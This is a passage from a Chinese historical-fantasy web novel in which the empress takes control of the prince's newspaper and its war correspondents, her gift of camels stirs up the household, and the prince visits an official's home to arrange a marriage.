说到这,她伸出的手指指着他脑门,神色凝重的道:“给朕好好的说,要是敢掺水,朕要你脑袋!” “微臣遵旨!”陈墨起身,注意到慕容嫣今日海棠红的妆面,眉间朱砂痣艳如滴血。 “回陛下,战地记者是比士兵更危险的文职,他们不佩刀剑,只拿着笔墨便随军去往前线,将战场上发生的一切事情都记录下来,然后飞鸽传书回京城,最后再由报社归拢编撰,出版成报纸。” “大胆!”慕容嫣一拍桌子,“你们未经允许就擅自刊发关于军队的战报,这成何体统?大乾的舆论必须要掌握在朝廷手里,怎能交给一群不懂事的书生?” “陛下,臣知罪!但是世子在建立报社之初就说过,要保证百姓能得到第一手新闻,所以臣才招募战地记者的。” 知道是林臻做的,慕容嫣怒气稍缓。 因为林臻不会坑她,也不会做对大乾不利的事情。 而且她愿意相信林臻,这件事情的出现一定是因为疏漏,而不是刻意。 慕容嫣平复下心情,问道:“现在有多少战地记者了?” “回陛下,算上还在京城的,共计三百余。” “为何有这么多人争着做这等刀尖上的营生?他们一个个都不怕死了?”她忽然想起什么,狐疑的道:“是不是世子给的俸禄高?” “不全是这样。世子虽然给工钱,但大部分的记者都是自愿来的,甚至他们都不愿意要钱,只想去前线。” “这是为什么?” 还有不要钱就干活的?慕容嫣不相信。 如果真有那就太离谱了,更何况这是要掉脑袋的活儿。 陈墨的喉结动了动:“陛下有所不知,他们大多是连乡试都未中的寒门子弟,却能背出《孙子兵法》里的每道战阵,能认出北燕骑兵的七种马纹。上个月招的十五岁少年,竟能趴在死人堆里三天,就为记下北燕粮草的运送路线。” 闻言慕容嫣的目光软了些。 陈墨的表情也变得有些欣慰,轻笑道:“这些书生会在鞋底刻上母亲的姓氏,在腰带里缝上家乡的泥土。他们说,若死在战场,就让北燕人踩着他们的鞋底,知道大乾的土地有多硬;让风沙吹开腰带,看见里面的泥土有多红。” 慕容嫣听的激动无比啊。 难道说我大乾的百姓觉悟都这么高了么? “陈爱卿,你说的可属实?” “陛下,臣所言句句属实,但...臣还没说完呢。” 说着,陈墨从怀里取出一个册子:“陛下请看,这是上个月报社的报名登记簿。” 无舌看了看慕容嫣的脸色,走过去呈给她。 慕容嫣翻开第一页,上面用小楷写着“李富贵,廿二岁,父残疾,弟三人,愿以笔换五石粟”。 这些文字过于刺眼。 陈墨解释道:“陛下,这些书生可不是圣贤书读傻了,是清楚在这世道唯有给朝廷当差,才能让家人免了徭役,得了免税田。就说城东的张举人吧。” 陈墨继续道,袖口的油墨味混着沉水香,“他老子当年被北燕人砍了手,如今他报名当记者,不为别的,就盼着朝廷能给块忠义之家的匾额,让他妹子能嫁个好人家。” 他忽然指向窗外:“还有那十五岁的少年郎,他娘在醉仙阁当粗使,他说要是死在战场,希望朝廷能给老娘换个干净营生。记者张秀才临死前,用染血的手抓住他的衣袖,说‘给我娘讨口安稳饭’。陛下啊!!他们不是不要俸禄,是世子给的五两月银,能让全家吃上干饭;是工部的编制,能让他们瘸腿的爹免了街役。”? 慕容嫣望着陈墨眼中的光,忽然明白过来。 什么青史留名都是虚的,让家人吃饱穿暖才是真的。? “所以他们自愿跟着世子的报社。”陈墨忽然跪下,膝盖磕在青砖上发出闷响,“因为世子答应他们,只要活着传回三份密信,就能给家人申请十亩良田;若死在战场,朝廷的抚恤够老娘吃穿一辈子。” 他举起袖口的补丁:“臣这身补丁穿了三年,不是没钱换,是想让书生们知道,跟着报社干,能让家人过上好日子,更是为了给大家作表率啊!” 慕容嫣把登记簿合上,双手抱肩说:“既然是世子在管,那为何战报不经过朝廷审批就刊发了出去?难道这也是世子的意思?” 陈墨以为自己一顿忽悠,把慕容嫣忽悠瘸了呢。 没成想她还是要问这个。 于是他知道回答道:“回陛下,这个......是臣的过失。” “那你还跟朕解释!” “臣知罪!!” “够了,朕明白了,他们想要的不是虚职,而是切切实实的好处,希望能跟着朝廷,实现养家糊口的理想。”其实慕容嫣今天的目的就是想将报社收归自己所有。 但她没想到这报社里的人,竟然对朝廷如此尽忠,如此一来,那便好办了。 “正是如此,陛下。他们背着笔墨冲向前线时,心里想的是:要是死了,弟弟能进学;要是活着,妹妹能嫁个好人家。这不是贪生怕死,是想让家人活得像个人。"? 慕容嫣忽然轻笑:“但朕能给的更多!以后你们报社所有人都听从朝廷的统一指挥,不必再听世子的话了。” “这...” 不是。 陈墨都懵了。 心说你们两口子吵架别拉扯上我们啊! “陛下,这报社以前可都是世子在供给......” 就知道你会这么说。 慕容嫣冷笑一声:“朕与世子夫妻一体,什么他的朕的?这件事情就这么定了,以后报社的记者每月俸禄十两白银,是世子给的两倍;立功者除了工部编制,还能给家人申请免税商铺;就算死了,朕也会在忠烈祠刻上名字,让子孙后代知道,他们的血没白流。” 她顿了顿,目光落在陈墨袖口的补丁上,“至于你,陈爱卿,你以后就不必再挂工部的职了,就任监察院言官,负责报社的一切事宜。做的好,朕另有奖赏,若做不好,后果你自己猜!” 陈墨的瞳孔微微收缩。 慕容嫣这个举动意味着大乾报社将从世子的暗线,变成她的明棋,却也意味着记者们的付出,终于能换来实实在在的保障。 说到底,林臻不是皇帝,而慕容嫣给的却是实实在在的好处。 于是乎,他咬咬牙:“微臣谢陛下!陛下若能兑现承诺,臣敢说,报名者能从三百人涨到三千人。” “不需要那么多人,就控制在这个数目,毕竟其他地区也需要建立报社。” “陛下放心,关于这点世子早就开始谋划了,目前涿县、代县、辽东等地已经在建立报社,南边也已经开始布局。” ?慕容嫣挥挥手:“行了,这件事情就这么定了,你先回去,剩下的事情朕会找世子交接。” “微臣告退。” 陈墨走了出去。 出去的瞬间嘴角挂起洋溢不住的笑容。 现在报社彻底变成朝廷部门了,这消息...这功德...回去后那帮小子还不得感谢死自己。 至于慕容嫣会不会和林臻吵起来...跟自己有什么关系?他俩爱吵不吵。反正皇帝一言九鼎,说出去的东西就肯定不能改。 第534章 背叛我? 暮春的摄政王府飘着细柳絮,林臻的马车刚转过九曲桥,就听见东角门方向传来此起彼伏的惊叫。 “小心小心,它会喷鼻涕!” “别靠太近了!” “啊!!” “老赵,老赵!!” 青石板路上,三四个小厮正拽着骆驼缰绳团团转,驼峰上的毛毡鞍具歪歪斜斜,惊得花架上的鹦鹉扑棱着翅膀直叫。? 叫老赵的家丁被骆驼一头顶在地上,表情很是痛苦。 林安急得直跳脚,想指挥偏偏又指挥不明白。 “小心啊!” “干什么呢!”林臻走下马车往这边看。 林安看见他就想看见救星似的,满头大汗地迎上来,手中的账册边缘都卷了边:“世子,您可回来了!陛下送来的五头骆驼跟发了疯似的,见着穿红衣服的丫鬟就喷鼻息,这会儿把西跨院的月季踩折了三棵了!您看到底怎么办啊!这家伙太大,我们根本控制不住它啊!” 林臻皱眉望着不远处甩着尾巴的骆驼,驼峰在暮春的阳光里泛着浅褐色的光:“陛下送来的骆驼?好端端的送什么骆驼?” 他伸手接过小厮递来的湿巾,擦了擦袖口的朝珠,忽然瞥见骆驼脖子上还系着的明黄缎带。 这应该是西域进贡来的,上个月林臻还在鸿胪寺看见了。不仅如此,鸿胪寺少丞还因为被骆驼喷鼻涕导致肺部感染,要不是孙之推亲自出手,估计这会儿都过头七了。 林安凑上前,压低声音道:“送骆驼的内官说,陛下要安慰世子,说您陪伴泣珠儿姑娘辛苦了,特意送来五只骆驼挤奶给小少爷吃。”他顿了顿,用袖口擦了擦额角的汗,“还说...这是身为母亲给小少爷的见面礼。” “见面礼?”林臻哑然失笑。 看来吃醋的不仅仅是司马椿蕾,还有这位坐镇皇宫的女帝啊。 唉,女人啊,终究是逃不过一个小心眼。不就是个瘦马么,有什么的? “诶诶诶,你们别站在它正面,小心着点,万一伤着又得看病吃药的!”林安指挥他们把骆驼往东角门牵。 那里又传来骆驼的嘶鸣,一头母驼甩着缰绳撞向假山,吓得抱琴经过的小丫鬟尖叫着躲到树后。 林臻望着骆驼蹄子下的残花,忽然轻笑一声——慕容嫣这是在提醒他,即便宠着小妾,也别忘了她正妻的身份。? 这个妮子。 林臻笑着摇摇头,喊到:“老林。” 他将湿巾递给小厮,指尖划过骆驼鞍具上的凤凰纹:“先把骆驼牵到马厩去,找几个懂牲口的老兵伺候,如果伺候不明白就上街去找专业的人。另外每日挤的奶单独装罐,送去给承煜。陛下的好意,咱不能辜负啊。”? 陛下的好意... 林安可不觉得这是好意。 这分明就是来找麻烦的。 他连忙应下,又愁眉苦脸道:“可这马厩向来只养战马,骆驼的食料...”? “按战马的标准翻倍。”林臻打断他,目光落在骆驼脖子上的银铃——那是宫里赏的,每只铃上都刻着特供两个字。 林臻说:“再去请个兽医回来吧,仔细检查检查骆驼的牙口,别让宫里送来的东西出了差错。” “是,世子。” 吩咐完后,林臻转身往听琴居走去。 穿过牡丹园时,柳絮落在他月白色的衣摆上,像落了头霜。 听琴居的雕花门虚掩着,传来断断续续的琴声。 林臻推开门,看见泣珠儿正坐在窗前拨弄琴弦,月白色襦裙上绣着半枝玉兰。 她听见脚步声抬头,指尖在琴弦上划出一声颤音。? “世子!”泣珠儿起身行礼,言语间有着藏不住的喜悦,发间的木樨花轻轻晃动。 林臻望着她苍白的脸色,想起她因司马椿蕾的阴阳怪气而不安,整夜未眠。 “珠儿不必多礼。”他走近时,闻到她身上淡淡的沉水香。 那是慕容嫣宫里的香料,却比宫里的多了几分清苦。? 窗外,骆驼的嘶鸣声隐约传来。 泣珠儿望着他衣摆的柳絮,忽然轻笑:“世子,妾身今日见府里闹得厉害,可是来了什么宝贝?” 她的语气很淡,却让林臻听出了刻意的回避。? “陛下送了五头骆驼,说是给承煜挤奶的。”林臻故意将"承煜"二字咬得极轻,看见泣珠儿的手指在琴弦上顿了顿。 她是新来的,对府里的一切都不是很了解,很多只言片语都是在刚刚进院的小丫鬟嘴里了解到的。 她知道了承煜是晴雯的孩子,同时晴雯是林臻最宠爱的小妾,没有之一。 甚至丫鬟们还说,晴雯以前也是丫鬟,还不是那种级别高的大丫鬟,只是小丫鬟而已,就因为主动爬上林臻的床,继而成为了小妾,现在母凭子贵,在府里说一不二。 说实话,像晴雯这样励志的经历,整个王府的下人就没有不羡慕的,泣珠儿也不例外。 她也想成为晴雯那样的人,但那终究是不可能的。 泣珠儿低头看着琴弦,指尖划过“沧海龙吟”的断纹:“陛下...倒是惦记着小少爷。只是苦了晴雯妹妹,明明是她的孩子,却要喝别人送来的奶。”? “承煜与正常孩子不同,他很能吃,四个奶娘伺候都不够,还得配上骆驼奶。” “啊?四个奶娘都不够吗?”泣珠儿下意识的看了看自己扁平的胸脯,脸蛋一红。 连奶娘都喂不饱林臻的孩子,那自己这...... 罢了,反正也不一定能有孩子。 林臻好似感受到什么,握住她冰凉的手,触感比冬日暖和些。 “别多想。陛下送骆驼其实是在跟我置气呢,昨天我们住在听琴居的事情,她知道了。” “啊?”泣珠儿长大了嘴,随即想想王府里的事情,皇帝怎么会知道呢? “世子的意思是,王府里有奸细?” “奸细说不上,但陛下肯定是要安插眼线的,这是皇帝的通病,不过没关系,晚上我们还住在这,故意气气她也好。” 泣珠儿缩回手,说道:“世子还是跟贵妃娘娘睡在一起吧,早上她那个样子...妾身有些害怕。” 泣珠儿的睫毛剧烈颤动,想起早上司马椿蕾临走时,那仿佛要吃人的目光。 早年在扬州时她便被教育,嫁入大家族,争风吃醋,尔虞我诈是在所难免的。 但泣珠儿没想到这一天来的这么快。 甚至,她连如何自保都没有考虑好。 林臻刚要说话,泣珠儿打断道:“世子不必解释,妾身知道自己的位置。”? “位置?”林臻忽然轻笑,指尖划过她手背的薄茧——那是多年抚琴留下的,“在我心里,你早已经不是什么瘦马了,而是我的小妾。” “妾身也算小妾吗?” “当然算,只要是我林臻的女人,都是我的小妾,所以你和椿儿没有什么区别。” 他忽然凑近,闻着她发间的木樨花,“还记得昨晚你的凤求凰吗?等你的新琴做好,本世子还要听。” “妾身什么都听世子的,但今晚您还是去贵妃娘娘那里睡吧,妾身自己想弹弹琴。” 懂事的让人心疼。 既然如此林臻没有理由再执拗,起身将她楼进怀里,指尖划过她腕间的翡翠镯。 这镯子是张俪精心挑选后送来的,算是给妹妹的见面礼。 窗外的骆驼低吟声混着木樨花香飘进来,他忽然听见廊下传来急促的脚步声。 “世子,侯春求见。”敲门声轻而急,带着几分颤抖。 林臻松开搂着泣珠儿的手,看见她耳尖发红,发间的木樨花歪了半枝。 “进来吧。”他整理衣襟,声音里还带着未褪的温柔。 侯春推门而入,垂着眸不敢看泣珠儿:“陈主编求见,说有急事,已在会客厅候了半个时辰。” 泣珠儿连忙起身整理琴弦,指尖划过《凤求凰》的谱面:“世子快去忙吧,妾身正好补补妆。” 她转头时,木樨花落在琴案上,像片褪色的月光。 林臻握住她冰凉的手,低声道:“若是陛下又耍什么把戏,我明日便去宫里讨个说法,你放心吧,有我在,不会有任何人敢伤害你。” 说完林臻松开她。 “快去罢。”泣珠儿轻笑,指尖点了点他掌心的薄茧,“陈主编深夜来访,怕是与报社有关。” 她转身时,月白色襦裙扫过满地柳絮,像片浮动的云。 会客厅的烛火映着陈墨的官袍,簇新的青缎上绣着银线竹纹,正是工部六品官员的制式。 林臻推门而入,看见他正捧着羊脂玉茶盏品茶,袖口的油墨味淡了许多。 “参见世子。”陈墨起身行礼,官靴在青砖上叩出清脆的响。 林臻盯着他腰间的鎏金腰牌,新刻的“舆论监造司”字样在火光下泛着冷光。 “坐吧。”林臻一屁股坐在酸枝木椅上,茶盏里的碧螺春腾起热气。 “怎么?战地记者的事情解决了?” 说完林臻才注意到他的官袍,不露声色的说:“看你穿得这般齐整,莫不是傍上了宫里的大腿?” 他故意用茶盖拨弄茶叶,余光却扫着陈墨的表情。 陈墨从袖中掏出羊皮地图,摊开在案头:"陛下允诺,战地记者家人可免十年徭役,战死则领二十石粟米。” 他指尖划过地图上的骆驼纹腰牌草图,驼峰上隐约有"嫣"字暗纹。 “还说要刻骆驼纹腰牌,借王爷的威名激励书生。”? “借王爷的威名做文章?"林臻忽然冷笑,“倒会慷他人之慨。” 他端起茶盏,却因用力过猛泼出茶水,“从前报社每月五万两银子,如今换作宫里的玉碟金盏,书生们就真以为是皇恩浩荡了?” 陈墨压低声音:“世子可知,李狗剩的娘今早跪在报社门口?” 他镜片后的目光掠过窗外的骆驼,“她说这辈子第一次见白米饭,陛下的抚恤比咱们给的多三成。” “三成?” 林臻拍案而起,震得茶盏掉落在地上,“三成也是我的钱啊!他用我的银子买人心,倒显得我这个世子苛待下属了!” 陈墨点头,从袖中取出锦盒:“陛下赏了密信鸽哨。说可用此调遣驿站快马,但每封密信需分两路送:军机处一份,暗房一份。"? 林臻接过鸽哨,触感冰凉:“明着收编,暗里监视。她连我的暗语标记都要学去?”? 说完林臻看向陈墨:“还有你!你竟然敢背叛我,去站陛下的队!?” 陈墨吓得直接跪在碎瓷片中,官袍膝盖处很快染上青灰:“世子,属下冤枉啊,属下也是想提高记者待遇啊!您还记得张秀才吗?上个月他传回北燕粮草图,被割了舌头扔在城门口,可他临终前用血写的西路无粮,救了三千弟兄的命。” 他忽然抬头,目光落在林臻胸前的木樨花上,“陛下的抚恤能让他娘住进砖瓦房,能让他的名字刻在忠烈祠,这是咱们从前给不了的。” 林臻的手指在椅把上掐出红印,想起张秀才临终前塞给他的断笔,笔杆上刻着"铁笔"二字。 “所以你就拿弟兄们的血换她的皇恩?”他忽然踢开脚边的碎瓷,瓷片撞上案头的骆驼纹草图,将驼峰的"嫣"字暗纹划得支离破碎。 “你难道不知道,陛下的钱也是我给她的!这都是我的钱!她用我的钱来收买你们,你现在跟我哭穷?难道我给你们的抚恤少了?况且我们报社图的是笔墨自由,如今倒好,玉碟金盏端上了,腰牌官靴穿上了,倒忘了笔杆子该为谁而挥了!” 陈墨猛地磕头,额头撞在青砖上发出闷响:“世子以为卑职不想硬气?陛下要撤换所有没背景的记者,是卑职跪了两个时辰,才保住李狗剩他们。” 他扯开衣领,露出锁骨下方的油墨刺青,正是报社最初的报头,"卑职这身子,早就卖给报社了,如今不过是借陛下的壳,护咱们的根!" 林臻看着他胸前的刺青,忽然想起创刊那日,陈墨在报社门口贴的对联:“铁笔昭昭,照破山河”。 他忽然转身,盯着窗外骆驼脖子上的银铃:“她要收编可以,但所有记者的密信必须先经我手。” 他忽然冷笑:“呵呵呵,嫣儿,你这样可不好啊,为夫得进宫去会会你。” 第535章 来福变异了 先是吃泣珠儿的醋,后又要收编报社。 慕容嫣是真有意思。 那不成她在一点一点脱离我的掌控? 还是说她有了别的什么心思? 暮春的光透过雕花窗棂,在会客厅的青砖上投下斑驳的影。 仔细想想还是算了,没有必要什么事情都跟慕容嫣争个面红耳赤的。 既然他想要报社,那就给她吧。 但林臻绝不会追加对慕容嫣的投资,她若是因为收编报社而导致经济捉襟见肘,他是不管的。 陈墨刚要开口,就看见林臻一屁股坐在主位上,朝立在一旁的浣碧扬了扬下巴。? 浣碧垂眸上前,从腰间锦囊中取出乌木烟袋锅,熟稔地装上烟丝。 她月白色襦裙的下摆扫过地面,发间梨花白簪随着动作轻颤,指尖在点燃火折子的瞬间,眉目传情。 “滋滋滋——”烟袋锅子里的火星明灭,林臻深深吸了口旱烟,烟雾从鼻腔缓缓溢出,模糊了他紧蹙的眉头。 他想起刚刚陈墨说的慕容嫣允诺记者家属免徭役。 呵。 现在大乾早就没有免费的徭役了,甚至很多普通百姓都想加入徭役队伍,也就是打工。 给朝廷干活不仅有工钱可以拿,还供吃供住,只要坚持几年就能让全家富裕起来。 而且那些负责监工的士兵从来不苛待工人,偶尔加急的活儿会三班倒,不急的活就早八晚五,生活简直不要太好。 慕容嫣说给家属免除徭役,这是一招废棋,更是一招臭棋。 林臻把烟袋杆往雕花扶手磕了磕。 浣碧递过青瓷痰盂,也就是烟灰缸。 余光瞥见林臻脖颈下面露出的朱砂痣。 那是与慕容嫣对称的印记,只是他的在右肩,她的在左肩。 “陛下想要报社?那我就给她!”? “夫君息怒,当心烟味呛着嗓子。”? 林臻却摆摆手,又猛吸了一口:“她要名,我给她名;她要钱,” 烟袋杆指向窗外正在喂骆驼的小厮:“从下月起,王府送进宫的月例银子减半,赌场的分成从三万两减到以前的一万两,酒的分成直接取消。我还就不信了,她怎么总扯这些幺蛾子呢。” 说完林臻将烟袋锅子倒过来,浇水熄灭。 陈墨站在一旁,说道:“世子,您这么做,陛下能同意么?毕竟那是陛下的私房钱,说减就减...别到时候陛下和您生气啊。”、 “生气又如何?拿我的钱充大方,收买人心,就好像我对属下很抠门一样。其余你不用管了,以后报社的新闻先送我过目再发。钱的事,让她找户部要去!我还就不信了,我还治不了她!”? 林臻大男子主义的毛病又犯了。 他觉得,慕容嫣想做的任何事情,尤其是设计朝政方面的事情都应该找他商量一下,而不是直接拿他的钱去做事情。 这不合规矩,更不合夫妻相处之道。 就好比男人在外面赚钱,妻子在家躺着。 没毛病,这很合理。但你若是用丈夫的钱炒股,玩投资,是不是应该和丈夫商量一下? 看着钱多,说花就花,既然这样那你就自己出去赚钱去。 浣碧默默捡起地上的披风,听见林臻的声音陡然冷下来:“一会儿派人进宫告诉她,以后别再送什么骆驼奶了,承煜二十个奶娘喂着,不劳她费心。”? 陈墨躬身应是,刚要退下,却见林臻忽然起身,披风在身后扬起猎猎风声。 “走,去马厩。”他头也不回地朝门外走去,浣碧连忙提着裙摆跟上,经过陈墨身边时,不经意间回头看了一眼。 就见陈墨友好地笑了笑,转身离开王府。? 通往马厩的鹅卵石小径上落满柳絮,林臻走得飞快,浣碧几乎要小跑才能跟上。 “世子当心!”浣碧忽然惊呼,只见前方马厩方向,一头骆驼疯了似的冲出来,驼峰上的毛毡鞍具歪在一边,蹄子扬起的尘土迷了眼。 林臻下意识回身,长臂一伸将浣碧横着抱起,脚尖点地跃到路边的海棠树下,动作快得带起一阵风,浣碧甚至能闻到他身上混合着旱烟和雪松香的气息。? 林臻将浣碧放下,上下打量,见她没有受伤这才对马厩方向喊道:“废物!连头骆驼都看不住!” 他望着那骆驼冲向后花园,气得一脚踢在身边的石凳上。 几个小厮扛着套马索气喘吁吁地追出来,为首的小厮脸色煞白:“世子饶命!是来福......来福大爷突然冲出来咬死了一只母驼,剩下的都惊了!” “来福?”林臻皱眉,火气消了大半。 来福平时连鹿肉都不吃,怎么会突然吃骆驼?难道是凶性未改? 不应该啊...来福从来不惹祸的。 他问道:“来福怎么会突然闯过来?其余骆驼呢?” “回世子,其余骆驼都拴住了,就跑出来这一只。” “赶紧追上去,别惊了孩子。” “是!” 小厮们飞也似的跑开,其中有个愣货把鞋跑丢了都不敢回头捡。 林臻拉着浣碧,跟着小厮往马厩走,远远就看见围墙下躺着只被咬断脖颈的骆驼,鲜血染红了满地柳絮,而那来福正叼着骆驼腿,喉咙里发出低沉的咆哮,吃得很是开心。? “来福!!” 林臻喊了一声,来福抬起虎头,张开血盆大口。 那模样仿佛在笑。 浣碧害怕它,于是远远地站在一边,林臻走过去,摸了摸它的大脑袋,说道:“好兄弟,怎么想起吃骆驼肉了?” 平时来福就很懒,喂饭都得喂到嘴边,而且一般的东西不吃。 二狗自己掏钱买了十斤酱牛肉,来福只闻了一下,就用尾巴把二狗抽个跟头。 来福吼了一声。 不知道是要说什么,但对新鲜的骆驼肉特别喜欢,埋头继续吃。 二狗气喘吁吁地从后院跑过来,见林臻正在这,连忙跪地磕头,“世子,小的该死!不知怎么的,来福听见骆驼叫就发了疯,五米高的围墙一下就跳过来了!” 林臻看着来福金黄的皮毛上沾着血,琥珀色的眼睛死死盯着剩下的骆驼,忽然想起什么:“你是不是没喂饱?”? 二狗急得直搓手:“没有啊世子!来福现在一顿能吃三十斤猪肉,小的天天变着法儿给它弄吃的,今天早上还喂了只羊腿呢!” 他指着来福嘴边的肉脯,“您瞧,平时给这个就摇尾巴,今天理都不理!” 林臻再想伸手去摸来福的虎头,却见它忽然低吼着退后两步,眼神里竟带着几分警惕。 这反常的举动让他心头一沉。 “怪事。”他喃喃自语,看见来福脖颈间的鬃毛根根倒竖,完全不像平时那般温顺。? 而且今天它已经尝过鲜肉鲜血的滋味了,以后很可能会袭击人。 这就麻烦了。 浣碧战战兢兢地走过来,递给林臻一张湿的帕子,低声道:“夫君,来福自从进府可从未怕过人,今天真的很奇怪。” 林臻擦着手,目光扫过马厩角落的骆驼。 剩下的三只都缩在墙角,脖子上的银铃叮当作响,而来福则守在死驼旁,时不时发出威胁的嘶吼。 “罢了。”他挥挥手,“先让它吃吧,你们它吃剩下的死驼处理干净,其余的骆驼看好,再出岔子,你们都去守皇陵!”? 离开马厩时,来福的咆哮声渐渐低了下去,只听见撕扯皮肉的声响。 林臻回头望了一眼,只见白虎正用爪子拨弄着骆驼脖子上的银铃,铃铛发出细碎的响,在寂静的暮春早晨显得格外刺耳。? “夫君。”浣碧忽然停下脚步,“您觉不觉得,来福像是被什么东西惊着了?” 她想起方才来福看林臻的眼神,那不是敬畏,而是恐惧。? 林臻沉默着往前走,玉镯撞在腰间的玉佩上,发出清脆的响。 他想起慕容嫣送来的骆驼,每只耳朵上都有小缺口。 在他的记忆中,骆驼好像没有这个缺陷。 难道是被人动了手脚? 林臻现在总是这样疑神疑鬼的,只要出现什么特殊的事情就会联想到阴谋,尤其是对煊赫门。 这段时间不管是煊赫门还是哈德门,都没有再找麻烦。 首先就是慕容嫣。 她现在是个武林高手,一般小毛贼进宫就是死。 其次大乾现在基本就是铁板一块,让他们根本没有可以渗透到地方。 “猴子。”他忽然对存在感很低的侯春说道:“去查清楚这些骆驼是从哪儿来的,有没有人动过手脚。” 他顿了顿,望着远处宫墙的方向:“还有,告诉厨房,从今日起,给来福喂的肉里,加三钱朱砂。” “是。”侯春应声而去。 林臻站在海棠树下,看着花瓣落在掌心,忽然想起慕容嫣最喜欢用海棠花瓣染指甲。 他轻笑一声,将花瓣揉碎,血色的汁液染在指尖,像极了方才骆驼颈间的血。? “碧儿,你安排人去通知棋牌佛,如果找不到就去问问俪儿,告诉棋牌佛,让他在后庭院等我。” “是,夫君。” ...... 前几天因为答应侯春要给他说媒。 其实这种事情根本不需要林臻亲自出马,随便打发个属下去就行,毕竟郭鑫只是礼部主簿,在林臻面前连芝麻官都算不上。 但为了体现王府对这件事情的重视,林臻还是打算亲自去看看,同时他也好奇,那位几岁就能用文章卖钱的小姑娘,究竟是何等风姿。 马车碾过青石板路,车窗外的西市渐渐热闹起来。 林臻掀起车帘一角,就见兴化坊正在紧锣密鼓地建设中,曾经的一片瓦砾场已经拆除,地基还在建设,同时安和桥下的水也在清理、拓宽。 大乾现在每个人几乎都很忙碌,都有自己的事情在做,都在为这个国家出一份力。 真好。 郭鑫的宅院藏在西市拐角,青瓦白墙被藤蔓覆盖,门楣上挂着块褪色的“宁静致远”匾额。 林臻刚下车,门口的小厮就愣住了。 因为光是看马车就知道,这四九城里只有林臻的马车才这么奢华。 小厮急忙迎上来:“小的参见世子。” “免礼,告诉你家老爷,就说本世子来访。” “是,世子请随小的来!” 林臻跟在小厮后面去往宅子的会客厅。 说是会客厅,其实就是家里的客厅,并不是专门用来招待客人的。 郭鑫听说林臻到访,连忙走出来。 他穿着半旧的青布长衫,袖口还沾着墨渍,见林臻坐在椅子上,慌忙撩起衣摆跪地叩首,声音因激动而发颤:“下官郭鑫,参见世子!不知世子大驾光临,有失远迎,罪该万死!”? 林臻连忙伸手搀扶,却见郭鑫浑身紧绷,额头已磕出红印。 “郭大人不必多礼,我今日是私访,并非官面。” 他打量着眼前的小院,青石板路打扫得一尘不染,墙角的蔷薇开得正盛,倒比王府的精致更添几分烟火气。? 郭鑫起身时仍佝偻着腰,搓着手不知如何是好:“世子抬爱,寒舍简陋,怕是污了世子的眼...” 他话音未落,忽听屋内传来茶碗碰撞声,一个中年妇人从里间跑出,见了林臻先是一愣,随即慌忙福身:“妾身给世子请安!”? “郭夫人客气了。” 林臻环顾四周,见正厅陈设简单,一张八仙桌配着四把竹椅,墙上挂着幅水墨山水,倒符合郭鑫淡泊名利的风评。 郭鑫早已慌了手脚,搓着手对妇人道:“快!快把东厢房的贵客茶点拿来!再去杀只鸡,给世子炖锅汤!” “不必麻烦。”林臻按住他的手,“我今日来,是件大事想和郭大人商量。” “世子不必称呼下官大人,这让下官受宠若惊,您还是称呼下官小郭吧。” “额...”小郭... 不太合适。 林臻说:“那我就叫你老郭,这样说话也方便些。” “谢世子!” 他话音刚落,里间传来轻轻的脚步声,只见一位少女抱着棋盘走出,素色襦裙上绣着几枝墨兰,乌发用简单的玉簪绾起,正是郭然。 她见了林臻,先是微微一惊,随即敛衽行礼,声音清越如泉:“小女子郭然,见过世子。”? 林臻目光扫过她鬓边的玉簪,又落在她腕间的红绳上。 说实话,这姑娘生得恬静,让人一看便心生好感。 郭然似是察觉到他的目光,耳尖微微泛红,低头时露出纤细的脖颈,如雨后新竹般挺拔。? 第536章 说媒 暮春的阳光透过雕花窗棂,在郭府正厅的青砖上投下斑驳的光影,空气中弥漫着淡淡的蔷薇香气。 林臻坐在紫檀木太师椅上,指尖无意识地轻叩着扶手,目光落在厅中垂首而立的少女身上。 郭然身着月白色素纱长裙,裙摆上仅用银线绣着几枝疏淡的兰草,领口袖口皆滚着细密的白边,端的是一派文静守礼的模样。 她微微低着头,乌发用一支羊脂玉簪松松绾起,露出纤细的脖颈,偶有几缕碎发垂在颊边,随着呼吸轻轻颤动,仿佛随时会被风拂起。 林臻看着她恬静的侧影,心中暗道:果然是个蕙质兰心的姑娘,难怪侯春那小子会动了心思。? “这位想必就是郭兄的千金了?”林臻嘴角噙着一抹温和的笑意,目光从郭然身上转向一旁的郭鑫,“我可是听说然然八岁就能用自己的诗文卖钱呢,不知道是真是假?” 郭然的才气在京城不低,大街小巷几乎都看过她的诗文。 林臻记得曾在友人处见过她幼时所作的诗文,虽显稚嫩,却已见灵气,是以对这位才女印象颇深。? 郭鑫闻言,脸上立刻露出自豪的神色,捋了捋颌下的山羊胡,腰杆也挺得更直了些,仿佛瞬间年轻了几岁。 “正是小女然然。让世子见笑了。”他顿了顿,眼中闪过一丝慈爱,“小女不过是幼时顽劣,胡乱涂写罢了,哪里当得起才女二字。” 嘴上虽是谦虚,可那微微上扬的嘴角却难掩得意。他转向郭然,语气带着几分慈爱与郑重:“然然,还不快过来见过世子殿下。”? 郭然应了一声,双手交叠于腹前,迈着细碎的步子走到厅中,每一步都轻得几乎没有声音。 她对着林臻敛衽一福,动作优雅而标准,声音轻柔如春风拂过湖面:“小女子郭然,见过世子殿下。” 她的声音清澈悦耳,带着少女特有的清甜,却又透着一股超乎年龄的沉稳,不似寻常深闺女子那般羞怯畏缩。 林臻注意到,她说话时,睫毛像蝶翼般轻轻颤动,眼神清澈而坦荡,毫无躲闪。? 林臻看着眼前的少女,眼中笑意更浓:“果然是位好姑娘,性情沉静,谈吐不俗。” 他顿了顿,故意逗趣道,“我听说如今来找郭兄说媒的人,都快把您家的门槛给踢平了吧?” 他想借此缓和气氛,也试探一下郭鑫对女儿婚事的态度。? 郭鑫下意识地看了看自家那扇半旧的木门,门框边缘确实有些磨损,他有些不好意思地笑了笑,脸颊微微泛红:“世子谬赞了。这门槛啊,是年久失修有些磨损,并非真被说媒的人踢平的,世子可莫要取笑下官。” 他生怕林臻真的以为自家门庭若市,显得过于张扬。? “哈哈,郭兄不必拘谨,某不过是开个玩笑罢了。”林臻朗声笑了笑,端起桌上的茶盏轻抿一口,温热的茶水滑过喉咙,带着淡淡的茶香。 “郭兄的才情品格在京中素有贤名,令爱又是如此出众,想要求娶的人自然是踏破门槛了。”他这番话半是真心半是应酬,既是夸赞郭鑫,也是为接下来的提亲做铺垫。? 郭鑫谦逊地摆摆手,随即朝内室扬声道:“然然,你和你母亲去厨房搭把手,让下人们多备几道拿手的硬菜。” 他想了想,又补充道,“再温上几壶上好的竹叶青,世子殿下酒量甚好,可不能怠慢了。” 他急于尽地主之谊,也想借此让女儿暂时回避,以便与林臻深谈。? 